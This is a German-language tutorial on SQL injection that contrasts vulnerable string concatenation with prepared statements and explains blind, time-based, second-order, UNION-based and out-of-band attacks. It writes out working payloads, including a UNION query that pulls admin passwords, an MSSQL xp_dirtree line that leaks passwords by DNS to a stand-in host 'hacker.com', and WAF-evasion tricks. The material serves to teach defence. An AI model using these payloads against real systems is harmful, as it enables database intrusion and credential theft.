SQL Injection (SQLi)

Der Fehler (String Concatenation):

query = "SELECT * FROM users WHERE name = '" + user_input + "'"

Die Lösung (Prepared Statements):

cursor.execute("SELECT * FROM users WHERE name = %s", (user_input,))

Die Datenbank trennt hier strikt zwischen Code (SELECT...) und Daten (%s). Selbst wenn der User Code eingibt, wird er nur als harmloser Text behandelt.

1. Blind SQL Injection

Der Hacker sieht keine Fehlermeldung ("Syntax Error") und keine Daten. Er stellt Ja/Nein Fragen an die DB. id=1 AND 1=1 (Seite lädt normal -> True). id=1 AND 1=2 (Seite lädt leer -> False). Er kann fragen: "Ist der erste Buchstabe des Admin-Passworts ein 'A'?" Mit einem Skript (sqlmap) kann er so Zeichen für Zeichen das ganze Passwort extrahieren ("Blind").

2. Time-Based SQLi

Wenn Blind SQLi nicht geht (weil Fehler abgefangen werden), nutzt man Zeit. id=1; WAITFOR DELAY '0:0:5' Wenn die Seite 5 Sekunden lädt, weiß der Hacker: "Aha, mein SQL wurde ausgeführt."

3. Second Order SQLi

Der böse Code wird heute gespeichert (z. B. als Username "Admin'--"). Völlig harmlos beim Speichern. Aber morgen führt ein anderes Skript (z. B. der nächtliche Backup-Job) diesen Usernamen in einer unsicheren SQL-Query aus. Der Angriff passiert zeitversetzt. Extrem schwer zu finden.

UNION-Based Data Exfiltration

Wenn das Resultat der vom Hacker manipulierten Query direkt auf der Webseite (z.B. in einer Produkt-Tabelle) angezeigt wird, nutzt der Angreifer den berüchtigten UNION SELECT Operator. Die Original-Query lautet: SELECT id, name, desc FROM products WHERE id = 1. Hacker-Input: 1 UNION SELECT 1, username, password FROM admin_users--. Das Resultat beider Tabellen wird zusammengeschmolzen. Auf der Webseite erscheint nun in der "Produkt-Beschreibung" das gehashte Passwort des Admins! Damit das klappt, muss der Hacker die exakte Anzahl der Spalten (im Beispiel 3) und deren korrekten Datentyp mithilfe von Blind-Guessing via ORDER BY 4 (Crasht, also nur 3 Spalten) vorher auskundschaften.

Out-of-Band (OOB) SQLi

Das Albtraum-Szenario: Das Backend liefert weder Errors aus (Disabled Errors), noch lädt eine Warteschleife messbar (Time-Based ist durch Thread-Timeouts blockiert). Der Server verhält sich wie ein schwarzes Loch. Der Angreifer nutzt OOB SQLi. Er injiziert T-SQL (Windows) oder Oracle PL/SQL Funktionen, die das Betriebssystem zwingen, externe DNS- oder HTTP-Requests vom Datenbankserver aus ans Internet abzusetzen! Payload (MS-SQL): '; EXEC master..xp_dirtree '\\' + (SELECT password FROM users) + '.hacker.com\share'-- Der MSSQL-Server löst heimlich den DNS-Namen .hacker.com auf. Der Hacker schaut in seinen DNS-Catcher-Log und liest dort AdminPass123.hacker.com – die Datenbank hat sich selbst an den Hacker per DNS-Protokoll verraten.

WAF-Bypassing & SQL-Obfuscation

Web Application Firewalls (Cloudflare, AWS WAF) filtern plumpe Eingaben wie 1=1 oder UNION SELECT. Advanced Hacker nutzen Encoder und Parser-Schwächen, um die Signatur-Scanner auszutricksen. Statt OR 1=1 nutzen sie MySQL-Hex-Konvertierungen (OR 0x31=0x31), kommentieren Keywords mittendrin aus (UNI/**/ON SEl/**/ECT), nutzen White-Space-Alternativen (Tabs statt Leerzeichen) oder füttern Null-Bytes (%00) in den String, was den WAF-Regex-Parser zum Absturz bringt, während der Backend-MySQL C-Parser das Null-Byte fröhlich übergeht und den injizierten Code frisst. Ohne Code-Sanitization durch Prepared Statements weicht jede WAF irgendwann auf.